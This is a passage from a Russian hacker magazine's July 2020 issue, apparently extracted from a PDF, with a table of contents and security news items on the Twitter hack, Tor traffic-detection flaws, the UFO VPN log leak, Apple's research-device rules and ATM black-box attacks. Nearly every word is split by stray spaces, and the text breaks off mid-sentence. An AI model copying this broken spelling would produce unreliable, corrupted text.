ПОДПИСКА НА «ХАКЕР»
Мы благодарим всех, кто поддерживает
редакцию и помогает нам компенсировать
авторам и редакторам их труд. Без вас
«Хакер» не мог бы существовать, и каждый
новый подписчик делает его чуть лучше.
Напоминаем, что дает годовая подписка:
год доступа ко всем материалам, уже
опубликованным на Xakep.ru;
год доступа к новым статьям, которые
выходят по будням;
полное отсутствие рекламы на сайте
(при условии, что ты залогинишься);
возможность скачивать выходящие
каждый месяц номера в PDF, чтобы
читать на любом удобном устройстве;
личную скидку 20%, которую
можно использовать для продления
годовой подписки. Скидка накапливается
с каждым продлением.
Если по каким-то причинам у тебя еще нет
подписки или она скоро кончится,
спеши исправить это!
CONTENTS№ 256Июль2020
MEGANews
Всё новое за последний месяц
Android
Новые запреты и чистый код на Kotlin
Хроника атаки на Twitter
Как поймали хакеров, взломавших социальную сеть
Ликвидация EncroChat
Как накрыли платформу для зашифрованных коммуникаций
Боевой Linux
Обзор самых мощных дистрибутивов для пентестов и OSINT
Малварь на просвет
Учимся быстро искать признаки вредоносного кода
«Я не специально»
Какие отмазки хакеров могут сработать в суде
Атака на облака
Гайд по методам взлома приложений в Azure и AWS
Вкуриваем QR
Как сделать QR-код с сюрпризом
Фундаментальные основы хакерства
Учимся идентифицировать конструкторы и деструкторы
Синтетический закат
Проходим виртуалку Sunset decoy, чтобы отточить навыки пентеста
Дыры в дыре
Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi
Как прокачать мышь
Ставим суперконденсатор в беспроводную мышь, чтобы заряжать ее за секунды
Только самое нужное
Избавляем Linux от багажа прошивок для оборудования
Фиктивный адрес
Как подменить геолокацию на Android, чтобы обманывать приложения
Погружение в ассемблер
Осваиваем арифметические инструкции
Нескучный Data Science
Пишем на языке R собственный детектор спама
Технология обмана
Что такое Deception и как теперь обманывают хакеров
Хитрости BIND
Берем контроль над DNS в свои руки
Не пустой звук
Разбираемся, как устроено цифровое кодирование звука
Титры
Кто делает этот журнал
Мария «Mifrill» Нефёдова
[email protected]
ВЗЛОМ TWITTER
В июле 2020 года ком пания Twitter стол кнул ась с самой мас штабн ой ата кой
за все врем я сво его сущес твов ания. Ком пром етац ии под верг лось множ ест во
аккау нтов пуб личных людей, комп аний, крипт овалют ных бирж. Так, сред и пос‐
трад авш их были: Билл Гейт с, Илон Маск, Джефф Безос, Джо Байд ен, Барак
Обам а, Уор рен Баф фет, Канье Уэст, Ким Кард ашья н, ком пании Apple и Uber,
круп ней шие крипт овалют ные бир жи CoinDesk, Binance и Gemini.
По лучен ным дос тупом к топовым аккау нтам злоу мышл енник и восп оль‐
зовались, устро ив фальш ивую раз дачу бит койн ов. Мошен ники дей ствов али
по клас сическ ой ска мерс кой схем е: от лица извест ных людей и круп ных ком‐
паний они про сили присл ать им небольш ое количест во крипт овалют ы, обе‐
щая удво ить и вер нуть любую полученн ую сумм у.
Как ни парадок саль но, но даже в 2020 году нашл ось немало людей,
которые повери ли, что Билл Гей тс, Илон Маск и друг ие извес тные ком пании
и лич ности вдруг начали разд авать бит койн ы. В ито ге таким обра зом мошен‐
ники «зарабо тали» при мерн о 13 BTC, то есть око ло 120 тысяч дол ларов.
При чем жертв могл о быть и боль ше, если бы крупн ые крипт овалют ные
бирж и сво евре менн о не забл окиро вали зло умыш ленник ов. К при меру, бирж а
Coinbase помеша ла 1100 сво им клие нтам перевест и 30,4 BTC — око‐
ло 280 тысяч дол ларов по текуще му кур су. Лишь 14 польз овател ей Coinbase
успе ли отпра вить бит кой ны на адрес мошен ников (на общую сум му око‐
ло 3000 дол ларов), преж де чем спец иалист ы внесл и его в чер ный спи сок.
Twitter сооб щает, что, согл асно предв аритель ным резуль татам расс ле‐
дован ия, ата ка зат ронула сравн итель но неболь шое количес тво учтенных
записей. Взлом кос нулся лишь 130 аккау нтов, и для 45 из них были успешно
сбро шены пароли — от лица этих учет ных записей взломщ ики разм ещали
мошен ничес кие сообщ ения.
Еще для семи учет ных записей злоу мыш ленни ки ска чали все дос тупное
содер жимое аккау нта, вос польз овав шись функ ци ей Your Twitter Data. Инте‐
ресн о, что ни один из этих семи акка унтов не был верифи циро ван (не имел
синей галоч ки). Такж е зло умыш ленни ки отдельн о просм атрив али личн ые
сообщ ения влад ельц ев 36 скомп ром ети рованн ых учет ных записей. При чем
один из этих акка унтов прин адл ежал неназв анном у нидерл анд ско му полити‐
ку.
В кон це июля стал о извест но, что атак а на соци аль ную сеть была резуль‐
татом ком про метац ии сраз у нес коль ких сот рудни ков ком пании. Так,
15 июля 2020 года мошенн ики устро или фишинг овую ата ку по телефо ну
и прим ени ли социа ль ную инже нерию к сот рудник ам Twitter. Когд а учет ные
дан ные, похищен ные у одно го из работ ников ком пании, не поз волили
хакерам подоб ратьс я к внут ренним инс трум ент ам Twitter, зло умышл енник и
атак овал и друг их сотр удни ков, у которых был дос туп к инс трум ен там
для управле ния учет ными записям и поль зовате лей.
«Не все атак ованн ые сот рудник и имел и прав а для использ ования инс-
тру мент ов управле ния учет ными запися ми, но зло умышл енник и
использ овали их учет ные дан ные для дос тупа к нашим внутр енним
сис темам и получен ия информац ии о наших проц есс ах. Эта информа-
ция поз волила им атак овать дру гих сот рудник ов, которые обла дали
дост упом к инс трум ен там под держ ки», — объя сни ли пред ста вите ли
ком пании.
Посл е инци дент а на врем я рас сле дова ния Twitter серье зно огра ничи ла дос‐
туп сво их сот рудни ков к внут ренним инст рум ен там и сист емам. Эти огран иче‐
ния в пер вую оче редь касаю тся функ ции Your Twitter Data, которая поз воляе т
поль зовате лям загр ужать все свои данн ые из Twitter, но такж е огран ичен ия
расп ростран яют ся и на друг ие сер висы.
Нев зирая на все оправдан ия Twitter, амер иканс кий сенатор Рон Уай ден
и акти вист ы Electronic Frontier Foundation подн яли воп рос, почему социа ль ная
сеть до сих пор не реализ овал а сквозн ое шифр ование для личн ых сооб‐
щений, хотя еще в 2018 году работа ла над этой фун кци ональн остью.
«Twitter сей час не приш лось бы бес поко итьс я о том, что зло умыш-
ленни ки мог ли про читать, похитить или изме нить личн ые сооб щения,
если бы ком пания внедр ила E2E для лич ных сообщ ений, как EFF про-
сил годами», — пишет актив ис тка Ева Гальп ерин из Electronic Frontier
Foundation.
31 июля 2020 года аме рикан ские власт и объя ви ли, что стоя вшие за масш таб‐
ным взло мом зло умышл енни ки пой маны. В США и Великоб ритании были
арес тованы трое подозр евае мых, а главн ым «идейн ым вдохн овител ем» этой
опе рации назв ан 17‐лет ний подр осток из Фло риды Грэм Айвен Кларк (так же
извес тный как Kirk). Его сообщ ни ки — 19‐летн ий Мейс он Шеп пард («Chae‐
won») из Великоб ритании и 22‐лет ний Нима Фазели («Rolex») из Флор иды.
Изв ест но, что Грэ му Айве ну Кларк у предъ явле ны обви нения по 30 пун ктам
и, невз ирая на возр аст, судить его будут как взросл ого.
100 000 ДОЛЛАРОВ ЗА ИСХОДНИКИ CERBERUS
В дарк не те на про дажу выс тавлен ы исходные коды банк овс ко го Android‐троя на Cerberus.
Це на начинае тся от 50 000 дол ларов США, и автор ы мал вари намерен ы пров ес ти аукц ион
с шагом в разм ере 1000 дол ларов (впроч ем, за 100 000 долл аров вре донос можн о при‐
обрести сраз у и без торг а). В эту цену вхо дит все сра зу: от исходно го кода до списк а клие нтов,
инст рукц ии по уста новк е и скрипт ы для сов мест ной работы ком понен тов. То есть покупа тель
получит исходный код вре донос ного APK, модуль, а такж е все «клю чи» от панели админ ис тра‐
тора и сер веров.
Прод авец пишет, что при чина прод ажи исходни ков прост а: яко бы хак‐групп а, созд авшая Cer‐
berus, рас палась, и больш е некому занимать ся круг лосуточн ой подд ерж кой троя на.
FIREFOX SEND
НЕ РАБОТАЕТ
Журн алис ты изда ния ZDNet привл екли вним ание инже неров Mozilla к мно‐
гочисл енным зло упот реблен иям серв исом Firefox Send, который активно
использ овал ся для расп ростран ения мал вари. Сейч ас работа серв иса при‐
остан ов лена на врем я рас след ован ия, а разр абот чики обещ ают улуч шить его
и добавить кнопк у «Сообщ ить о нарушен ии».
Firefox Send был запущен в мар те 2019 года. Сер вис пред ставл яет собой
при ват ный фай ловый хос тинг и позв оляе т польз овател ям Firefox обмен ивать‐
ся файл ами. Все файл ы, заг ружен ные и переданн ые через Firefox Send, хра‐
нят ся в зашифр ован ном виде, и польз овате ли могут сами уста новить срок
хра нения фай лов на серв ере, а такж е задать допуст имое количес тво загр узок
до исте чения это го «сро ка годн ости». Серв ис был дос тупен всем польз овате‐
лям по адре су send.firefox.com.
Хо тя инже неры Mozilla пла ниро вали Firefox Send, думая о кон фиден циаль‐
ност и и безопасн ости свои х поль зовате лей, начиная с конц а 2019 года сер‐
вис стал весь ма популяр ен не у прос тых людей, а у разр абот чиков малв ари.
В больш инст ве слу чаев хакеры эксп луа ти руют сер вис очень прост ым спо‐
собом: заг ружаю т полезн ые наг рузки мал вари в Firefox Send, где файл сох‐
раняе тся в зашифр ованн ом виде, а затем встав ляют ссылк и на этот файл,
к при меру, в свои фишин говые пись ма.
ZDNet пишет, что в пос ледние неск оль ко месяцев Firefox Send исполь‐
зовал ся для хра нения пей лоадов самых раз ных камп аний — от вымога телей
до финан сово орие нти рован ной мал вари и от бан ковс ких тро янов до спай‐
вари, атак овав шей пра воза щит ников. Серв исом зло упот реблял и такие
извест ные хак‐групп ы, как FIN7, REVil (Sodinokibi), Ursnif (Dreambot) и Zloader.
Бри танс кий ИБ‐эксперт Колин Хар ди пояс нил, какие именн о факт оры
прив лека ют авто ров вред оносн ых прогр амм в серв исе Firefox Send. Так, URL‐
адрес а Firefox счит ают ся надеж ными во мног их орга низа циях, то есть
спам‐филь тры не обна ружив ают и не блок ирую т их. К тому же злоу мыш ленни‐
кам не прих одит ся вкла дывать врем я и деньг и в соз дание и под держан ие
собст венн ой инфраструкт уры, если они использ уют серв еры Mozilla.
И, как уже было упо мяну то, Firefox Send шиф рует файл ы, что преп ятст вуе т
работе защит ных решений, а ссыл ки на скач иван ие мал вари могут быть нас‐
тро ены таким образ ом, что бы срок их дейс твия истек ал через опред еленн ое
вре мя или количес тво ска чиван ий. Это тоже зат рудняе т работу ИБ‐эксперт ов.
Рас тущее количест во вред онос ных опе раций, связ анн ых с Firefox Send,
не усколь знул о и от вним ания ИБ‐сообщ ес тва. Из‐за этог о в течение нес‐
коль ких посл едних месяцев эксперт ы регуляр но сетова ли, что у сер виса нет
механизм а сооб щения о зло упот ребле ниях или кноп ки «Пожалов атьс я
на файл», которые могл и бы помочь пре сечь вре донос ные опер ации.
Го товя пуб ликацию об этих пробл емах, журн алист ы ZDNet обрат ились
к Mozilla за ком мента рием, желая узнать, что орга низац ия думае т о раз‐
мещении вре донос ного ПО, а так же каков ста тус раз работ ки механизм а
для увед омл ения о наруше ниях.
От вет Mozilla удив ил и журн алис тов, и ИБ‐спец иалис тов: орган изац ия
немедл енно при остан овил а работу серв иса Firefox Send и сооб щила, что
работае т над его улуч шение м.
«Мы врем ен но переве дем Firefox Send в авто ном ный режим, пока
будем улуч шать прод укт. Перед пов торным запус ком [серв иса] мы
добавим механизм подачи отчет ов о наруше ниях, чтоб ы дополн ить
форм у обратной свя зи, а такж е будем тре бовать от всех польз овате-
лей, жела ющих поделить ся конт ентом с помощью Firefox Send, войт и
в сист ему с помощью учетн ой записи Firefox», — заяви ли предс та вите-
ли Mozilla.
В наст оящее врем я срок и возв ращ ения Firefox Send в онлайн неиз вест ны.
Все ссыл ки на Firefox Send перест али работать, а зна чит, все вред оносн ые
кам пании, исполь зовав шие сер вис, тоже врем енн о выведе ны из строя.
ДУРОВ ОПЯТЬ КРИТИКУЕТ APPLE И GOOGLE
Пав ел Дуров выст упил с крит икой в адрес ком паний Apple и Google, так как, по его мне нию,
они зло упот ребляю т сво им положен ием на рын ке. Он пишет, что IT‐гиган ты уве личив ают
на 30% цену мобильн ых при ложе ний для всех польз овател ей смар тфо нов в мире и тем самым
попр осту уничт ожа ют старт апы.
Он дела ет вывод, что в наст оящее врем я практ ическ и все разр абот чики, которые про дают
поль зовател ям смар тфо нов прем иальн ые и цифр овые услу ги, ско рее работа ют на Apple
и Google, чем на самих себя.
→ «Apple, польз уясь монопольн ым положен ием, треб ует от всех раз работч иков при ложен ий
в App Store перечис лять ей 30% от обо рота с прод ажи любых циф ровых услуг. Циф ровые услу‐
ги — это, напр имер, плат а за сами прил ожен ия или пре миальн ые воз можност и в них. Вза мен
Apple не дает разр аботч икам ничего, кром е раз решения их при ложе ниям быть дост упным и
для польз овател ей iPhone.
Раз работч ики при ложе ний трат ят зна чительн ые ресур сы на созд ание, под держан ие и прод‐
вижение свои х прое ктов. Они жест ко кон курирую т межд у собой и несут огромные рис ки. Apple
же не вкла дывае т в созд ание сто ронн их при ложен ий на сво ей платф орме прак тичес ки никаких
средств и не риск ует ничем, зато гарант ирован но получа ет 30% от их обо рота. Поч ти так же
печаль но обсто ят дела у разр абот чиков на смарт фо нах Android от Google.
У созд ателей при ложе ний остае тся лишь две трет и заработ ан ных ими средств для вып латы
зар плат, опла ты хос тинга, марк етин га, лиценз ий, государст вен ных налогов. Час то этог о ока‐
зывае тся недос таточ но, чтоб ы покр ыть все рас ходы, а даль нейшее повышен ие цены для поль‐
зовате лей невозм ожно из‐за сни жения спрос а. Те прое кты, которым удае тся остав ать ся при‐
быль ными, нес мотря на 30%‐й сбор, почт и всегд а прин осят мень ше чис того дохода собс твен‐
ным соз дателям, чем дуопо лии Apple и Google»
— Павел Дуров в сво ем Telegram‐канале
НУЛЕВЫЕ ДНИ В TOR
Спе циалист по информац ионн ой безопасн ости Нил Крав ец, который сам
управля ет неск оль кими узла ми Tor, обна родо вал детали двух уяз вимост ей
нулево го дня, зат рагива ющих саму сеть Tor и Tor Browser.
Исс лед ова тель говорит, что раз работ чики Tor уже не раз отказ ыва лись
исправл ять найд енн ые им проб лемы, поэтом у он решил пре дать уязв имост и
огласке. Хуже того, Крав ец обе щает обна родо вать информац ию еще о
трех 0‐day‐багах в ближ айш ее вре мя, и один из них может исполь зовать ся
для рас кры тия реальн ых IP‐адре сов сер веров Tor.
Перв ую 0‐day‐пробл ему спе циалист опи сал в сво ем бло‐
ге 23 июля 2020 года. В этой статье он рас ска зал, что ком пании
и интернет‐про вайд еры могут блок иров ать под ключ ение поль зовател ей
к сети Tor. Для это го треб ует ся лишь ска ниров ать сетевые под клю чения
на предм ет харак терной сиг натуры пакетов, уник аль ной для Tor‐тра фика.
Вто рую 0‐day‐уяз вимость Крав ец опи сал 30 июля 2020 года. Вто рой баг
так же поз воля ет сетевым опер атор ам выявл ять тра фик Tor. Но если перв ую
проб лему можн о использ овать для обна руже ния прям ых подк люч ений к сети
Tor (к нодам Tor guard), то вто рая уяз вимость дает воз можность обнар ужить
опос редованн ые под клю чения. Речь идет о соеди нени ях, которые поль‐
зовате ли уста нав лива ют с мос тами Tor.
На помн ю, что мост ы работа ют как свое го рода прокс и, переда вая соеди‐
нение от польз овате ля к самой сети Tor. Так как они край не чувст ви тель ная
часть инфраструкт уры Tor, спис ок мос тов пост оян но обновляе тся, чтоб ы про‐
вайд ерам было сложн ее их забл окиров ать. А Кра вец пишет, что соедин ения
с мос тами Tor можн о лег ко обнар ужить, использ уя техн ику отсле жива ния
опре деленн ых пакетов TCP.
«Пос ле моей пред ыдущ ей и этой записи в блог е у вас есть все, что
нужн о для уси ления политик и [бло киров ания Tor] с помощью сис темы
пров ерк и пакетов в режиме реальн ого вре мени. Вы можете зап ретить
всем сво им поль зовател ям под клю чать ся к Tor, незави симо от того,
под клю чены они нап рямую или исполь зуют мост», — пишет эксперт.
Так же спе циалист расс ка зыва ет, что, по его мне нию, инжен еры Tor Project
недос таточ но серье зно относ ят ся к безопасн ости сво их сетей, инс трум ент ов
и польз овател ей. Он ссыл ает ся на свой пре дыду щий опыт и мног очис ленные
попыт ки сообщ ить разр абот чикам Tor о раз личных ошиб ках, которые в итог е
так и не были исправл ены. В их числ е:
• уязв имость, поз воляю щая сайт ам обнар ужи вать и рас познав ать поль‐
зовате лей бра узе ра Tor по ширине полосы прок рутки (извест на раз работ‐
чикам с июня 2017 года);
• уяз вимость, позв оляю щая обнар ужи вать мос ты Tor, исполь зуя их порт
Onion routing (обнар уже на восемь лет назад);
• уяз вимость, позв оляю щая идент ифици ровать биб лиотек у SSL, исполь‐
зуемую сер верами Tor (най дена 27 декаб ря 2017 года).
В начале июля 2020 года Кра вец сообщ ил, что решил оконч атель но отказ ать‐
ся от сот рудни чест ва с Tor Project и теперь намерен расс ка зывать о проб‐
лемах во всеу слыш ание.
САМАЯ АКТИВНАЯ МАЛВАРЬ ПОЛУГОДИЯ
Эк спер ты ком пании Check Point подв ели итог и перв ых шес ти месяцев 2020 года и предс тав или
отчет о самых активных киберугр озах. Исслед оват ели рас ска зыва ют, что мошен ники широко
исполь зовали панд емию и связ анн ые с ней темы для раз верты вания атак, а так же отме чают
активность недав но вер нувшег ося к жизн и бот нета Emotet.
В сред нем на одну ком панию в Росс ии прих одил ось 570 атак в неделю, прич ем средн ее
по миру числ о атак на одну орга низа цию сос тавило 474.
Дин ами ка измен ения средн его чис ла атак на орга низац ии в неделю в Росс ии и в мире за пер вое
полуго дие 2020 года
Спи сок наибо лее активных угроз в Росс ии выгл ядит сле дующим обра зом: модуль ный вред онос
Emotet (6%), набор эксп ло итов Rig (5%), май нер XMRig (5%), RAT Agent Tesla (3%), Phor-
piex (3%).
Средн ее числ о атак на орга низа ции в неделю по типам угроз
На ибо лее расп ростран ен ные уязв имост и орган изац ий за пер вые шесть месяцев 2020 года
→Продолжение статьи
← Начало статьи
СПЕЦИАЛЬНЫЕ
IPHONE
В этом месяце комп ания Apple наконец объя вил а об офиц иаль ном запус ке
прог раммы Security Research Device (SRD), которую анонс ировал и еще в
прош лом году. В рамк ах этой иниц иати вы избран ным исслед ова телям пре‐
дос тавят спе циаль ные вер сии iPhone.
У таких устройс тв отклю чено боль шинс тво функ ций безопас ности, и сами
инжен еры Apple исполь зуют такие девайс ы для поис ка пробл ем (еще
до оконч ательн ого одобр ения прот отип ов и отправ ки устрой ств в мас совое
про изводст во). Устрой ства будут иметь меньш е огран ичен ий, обес печат
более глу бокий дос туп к опе раци онной сист еме и железу и позв олят спе‐
циалист ам обна ружить пробл емы, которые нельз я выявить на обычн ых
iPhone. Рань ше такие девайс ы нередк о попада ли на черн ый рынок, где про‐
дава лись за немалые деньг и, а порой оказ ывал ись в руках брок еров уяз‐
вимост ей или про давц ов 0‐day.
Для учас тия в SRD иссле дова телям пред лагае тся подать заявк у, прич ем
для это го необяз ательн о иметь проф ильн ое обра зован ие и кучу дип ломов.
Дос таточ но облад ать подт вержденн ым опы том в сфе ре ИБ‐иссле дова ний,
прич ем не толь ко iPhone, но и друг их устрой ств и ПО, включ ая Android, Win‐
dows и Linux.
Од нако мно гих ИБ‐эксперт ов смут или офиц иаль ные прав ила прог раммы.
Если в прошл ом году ИБ‐сооб щест во лишь попр иветст вов ало решение Apple
рас ширить прог рамму bug bounty и расп ростра нить сре ди исслед оват елей
спе циаль ные верс ии iPhone, теперь спе циалис ты кри тикую т ком панию
и пишут, что не ста нут участ вов ать в подобн ом.
Осн овная проб лема закл юча ется в пун кте пра вил SRD, который глас ит:
«Если вы увед ом ляете об уяз вимос ти, затр агива ющей прод укт ы Apple,
Apple сооб щит вам дату публ икации (как прав ило, это дата, ког да
Apple выпуст ит обновлен ие для устра нения проб лемы). <…> До [ого-
ворен ной] даты пуб ликации вы не смо жете обсуждать уяз вимость
с друг ими».
В сущ ности, этот пункт пред ост авляе т ком пании Apple пол ный конт роль
над раск рыт ием уяз вимост ей. Именн о про извод итель будет устан авл ивать
дату публ икации, посл е которой иссле дова телям разр ешат рас сказ ывать
что‐либо о най ден ных в рам ках SRD уяз вимос тях в iOS и iPhone. Мно гие спе‐
циалис ты опас ают ся, что Apple будет зло упот реблять этим прав ом и задер‐
живать важн ые обновле ния безопасн ости, отклад ывая дату публ икации и не
позв оляя спе циалис там пре дать пробл емы огласке.
Од ним из перв ых на эту особ ен ность прав ил обрат ил вни мание руково‐
дитель групп ы Google Project Zero Бен Хокерс (Ben Hawkers). Он пишет
в Twitter:
«Похоже, что мы не смож ем исполь зовать Apple Security Research De-
‑vice из за огран ичен ий на рас крыт ие уяз вимос тей, которые, кажет ся,
спе циаль но пред назнач ены для исключ ения [из прог раммы] Project
Zero и друг их иссле дова телей, которые при держ ива ются пра-
вила 90 дней».
Со обще ние Хокерс а привл екло вним ание друг их ИБ‐исслед ова телей,
которые под держа ли решение Google Project Zero. О свое м нежела нии учас‐
тво вать в прогр амме на таких усло виях уже заяви ли глав а комп ании Guardian
Уилл Стра фач (Will Strafach), спе циалис ты комп ании ZecOps, а так же извес‐
тный иссле дова тель Axi0mX (автор экс пло ита Checkm8) .
«Сро ки рас крыт ия информа ции [об уяз вимос тях] — станд арт ная прак-
тика в отрасли. Они необх одимы. Но Apple треб ует от исслед оват елей
подож дать неог раничен ное количест во вре мени, на усмотре ние самой
Apple, прежд е чем они смог ут рас крыть информа цию об ошиб ках,
обнар уженн ых в рам ках Security Research Device Program. Срок и
не устан ов лены. Это ядо витая пилюля», — пишет Axi0mX.
Бывш ий гла ва по информац ионн ой безопас ности в Facebook Алекс Ста мос
такж е рас крит ико вал дей ствия Apple. Он пишет, что если Apple удас тся нас‐
тоять на сво ем, навязать свои усло вия иссле дова телям (а так же выигр ать
судеб ный про цесс прот ив серв иса вир туализ ации iOS), то «мож но поп‐
рощать ся с результ ативн ыми пуб личным и исслед ова ниями в области
безопас ности в США».
Изд ание ZDNet отмеч ает, что bug bounty прог рамму Apple кри тиков али
и ранее. К прим еру, в апрел е текущег о года macOS‐ и iOS‐разр абот чик
Джефф Джонс он (Jeff Johnson) опубл иковал серию сооб щений в Twitter, где
писал сле дующее:
«Я думаю о выходе из прог раммы Apple Security Bounty. Не вижу
никаких доказа тель ств того, что Apple серье зно отно сит ся к этой прог-
рамме. Я слы шал о вып лате лишь одно го воз награж дения, и та уяз-
вимость даже не была спе цифич на именн о для Mac. Кром е того,
в Apple Product Security нес кольк о недель игно риров али мое пос-
леднее пись мо.
Apple объя вил а об этой прог рамме в августе [прошл ого года],
не запуск ала ее до Рож дест ва, а теперь, нас коль ко мне извес тно,
до сих пор не зап латила ни одно му исслед ова телю безопасн ости Mac.
Это смеш но. Думаю, их цель закл юча ется в том, чтоб ы зас тавить
исслед ова телей молч ать об ошиб ках как мож но доль ше».
200 000 СОТРУДНИКОВ GOOGLE ПРОДОЛЖАТ РАБОТАТЬ
ИЗ ДОМА
В конц е июля ста ло извест но, что гла ва Google Сун дар Пичаи при нял решение оста вить на уда‐
ленк е почт и все рабочую силу ком пании: окол о 200 000 сот рудник ов и под рядчи ков. Из‐за
пан демии коронав иру са все эти люди про долж ат работать на дому как минимум до середи-
ны 2021 года, хотя изнач альн о ком пания план иров ала вновь открыть офис ы в янва‐
ре 2021 года.
На похожие меры пошл о руководст во Facebook и Amazon, чьи сот рудни ки будут работать
из дома как минимум до кон ца текуще го года. Спе циалист ы Twitter и вов се переш ли на уда лен‐
ку на неоп ределенн ый срок, а работ ники Microsoft остан утс я дома как минимум до октября.
ЛОГИ, КОТОРЫХ НЕТ
Боль шинс тво про вай деров услуг VPN утверж да ют, что они не след ят за сво‐
ими поль зовател ями и не ведут никаких логов. К сожале нию, это далеко
не всегд а правд а. Так, недав но спе циалист ком пании Comparitech Боб
Дьяченк о (Bob Diachenko) обнар ужил утеч ку польз овательс ких данн ых, соб‐
ранных VPN‐про вай дером, который яко бы не вел логов.
Все началось с того, что Дьяченк о заметил в сети незащищ ен ный класт ер
Elasticsearch, где хра нились 894 Гбайт дан ных, прин ад лежащих пров ай деру
UFO VPN. Как ока залось, в логах стар ательн о фик сирова лись: пароли от учет‐
ных записей (открыт ым текс том), сек реты и токены VPN‐сес сий, IP‐адре са
польз ователь ских устройс тв и серв еров VPN, к которым они подк лю чались,
врем енн ые мет ки под клю чений, информац ия о мес тополож ении, дан ные
о самих устройс твах и вер сиях ОС, а так же веб‐домены, с которых в брау зер ы
поль зовате лей бесп лат ной вер сии UFO VPN внедр ялась рек лама. При этом
полити ка конф иден циаль нос ти UFO VPN гла сит, что сер вис не отсле жива ет
дей ствия поль зовател ей за пред елам и сай та комп ании и не собира ет никаких
дан ных.
По данн ым Comparitech, в логи UFO VPN ежедн евно добавл яет ся
более 20 мил лионов новых записей. Дьяченк о пишет, что
еще 1 июля 2020 года он пре дуп редил про вай дера об утечк е дан ных, но так
и не дож дался отве та. Лишь спуст я неск ольк о недель база все же проп ала
из онлай на и перест ала обнар ужив ать ся Shodan, но лишь посл е того, как спе‐
циалист свя зал ся с хост ером UFO VPN.
Такж е дан ную утеч ку обна ружи ли и спец иалис ты VPNmentor. Они сооб‐
щили, что проб лема каса ется не тольк о UFO VPN и его польз овател ей, но и
еще шест и VPN‐про вайд еров из Гон конга: FAST VPN, Free VPN, Super VPN,
Flash VPN, Secure VPN и Rabbit VPN. Судя по все му, все эти наз вания ведут
к одной орга низа ции, которая пред ост авляе т сво еоб разную white‐label‐базу
для VPN‐серв исов. И конеч но, все эти про вайд еры заявл яют, что не ведут
никаких логов.
Все перечисл енные про вайд еры работал и с тем же незащи щен ным клас‐
тером Elasticsearch. В общей сложн ости исслед оват ели обна ружил и в откры‐
том дост упе око ло 1,2 Тбайт дан ных: 1 083 997 361 лог, мно гие из которых
содер жат конф иденц иаль ную информац ию.
Так, в логах можн о было найт и информа цию о посещенн ых веб‐сай тах,
журн алы под клю чений, име на людей, адрес а элект ронн ой почт ы и домаш ние
адре са поль зовател ей, пароли откры тым тек стом, информац ию о пла тежах
в бит койн ах и PayPal, сообщ ения в служ бу под дер жки, спе цифи кации поль‐
зовательс ких устрой ств и информа цию об учет ных записях.
PayPal‐плат еж польз овате ля из США
«Кажд ый из этих VPN-про вайд еров утверж да ет, что их сер вис не ведет
‑логов, то есть не регист рир ует какую либо активность польз овател ей
в соот ветст ву ющих при ложен иях. Однак о мы обна ружи ли нес кольк о
‑экземп ляр ов логов интернет активност и на их общем сер вере. И это
в допол нение к лич ной информа ции, которая вклю чала в себя адрес а
элект ронн ой почт ы, пароли в откры том виде, IP-адре са, домаш ние
адре са, модели телефо нов, иден тифика торы устрой ств и дру гие тех-
ничес кие детали», — пишут спец иалис ты VPNmentor.
Исс ле доват ели VPNmentor даже пров ели экспер имент и соз дали учет ную
запись у одно го из про вайд еров, пос ле чего наш ли ее в логах, а такж е
информа цию об адрес е элект рон ной поч ты, мес тополож ении, IP‐адре се,
устрой стве и серв ерах, к которым они под клю чились.
Спец иалист ы уве домил и про вайд еров о пробл еме и необх одимос ти уда‐
лить клас тер из открыт ого дос тупа и даже сообщ или об инцид ен те HK‐CERT,
но никаких немедл енных дей ствий не посл едова ло.
Лишь нес коль ко недель спус тя предс та вите ли UFO VPN все же выпус тили
офиц иаль ное заяв ление и сооб щили, что из‐за панд емии коронав иру са они
не смог ли дол жным образ ом защитить польз ователь ские данн ые и не
замети ли вов ремя, что в кон фигура ции бран дма уэра была допуще на ошиб ка.
Так же про вайд ер уве ряет, что обна руженн ые эксперт ами логи были ано‐
нимн ыми и сохр анялись исклю читель но с целью монитор инг а проп ус кной
спо соб ности, хотя некото рые записи мог ли содерж ать IP‐адрес а, а так же
токены и сек реты учет ных записей. Пров айд ер нас таивает, что в логах
не было паролей в фор мате открыт ого тек ста, а экспер ты прин яли за пароли
что‐то иное, к при меру токены сеанс ов. Что касае тся email‐адре сов, предс та‐
вител и UFO VPN объя сняю т, что иногд а польз овател и прис ыла ют отзыв ы,
содерж ащие адре са элект рон ной почт ы, хотя таких нас читывае тся меньш е
одно го про цент а.
Эк сперт ы Comparitech и VPNmentor в кор не несог ласны с позицие й про‐
вайд ера и пишут, что обна руженн ые ими дан ные точн о не были анон имн ыми
и обез личенн ыми. Они рекоменд уют всем поль зовател ям сме нить пароли.
ТОРВАЛЬДС ПИШЕТ КОД В ПОЧТОВОМ КЛИЕНТЕ
Нед ав но на YouTube‐канале Linux Foundation появил ась запись с меропр иятия Open Source
Summit and Embedded Linux Conference: Europe. В ролик вош ла беседа Линуса Тор вальд са
с Дирк ом Хонд елом, вице‐пре зидент ом VMware. Во вре мя беседы Торв аль дс сообщ ил, что он
уже не пишет код в прив ычн ом понима нии, и нем ного расс ка зал о сво ем рабочем про цесс е.
→ «Я читаю элект рон ные письм а, пишу элект рон ные письм а. Я больш е не занимаю сь написа‐
нием кода. Боль шинс тво кода я пишу пря мо внут ри сво его почт ового клие нта. Напр имер,
кто‐нибудь при сыла ет мне патч или pull request или идет диск уссия о каком‐то след ующем pull
reques’е. Я отве чаю „Да, это отлично, но“ и в ответ отправл яю псев докод. <…>
Я так прив ык пра вить и отправ лять патч и, что могу писать их непос редс твенн о в почт овом
кли енте. Я боль ше не прог раммист. Я читаю куда боль ше писем, чем пишу. Поэтом у в итог е
моя работа теперь зак лючае тся в том, что бы говорить нет»
— приз наетс я Линус Торв альд с
НОВЫЕ АТАКИ
НА БАНКОМАТЫ
Спе циалис ты комп ании Diebold Nixdorf пред упр едили о новой вари ации black
box атак на бан коматы, которую начали прим енять злоу мышл енник и в Бель‐
гии.
Black box атак и пред став ляют собой раз новид ность джекп оттин говых
(jackpotting) атак, во врем я которых кибер прес тупник и зас тавля ют банк омат
выдавать день ги. Такая атак а может быть выпол нена с помощью вре донос‐
ного ПО, уста новл енно го в банк омате, или с помощью «чер ного ящи ка». Этим
терм ином обычн о обозн ача ют ноут бук или устройс тво на базе одноплат ного
мик рокомпь ютер а, которое использ ует ся, чтоб ы подк лю чить ся к внут ренним
комп онент ам бан комата (для дост упа к пор там, про водк е и про чему прес‐
тупни ки обыч но раз бира ют корп ус или вырезаю т в нем отвер стие). Подк лю‐
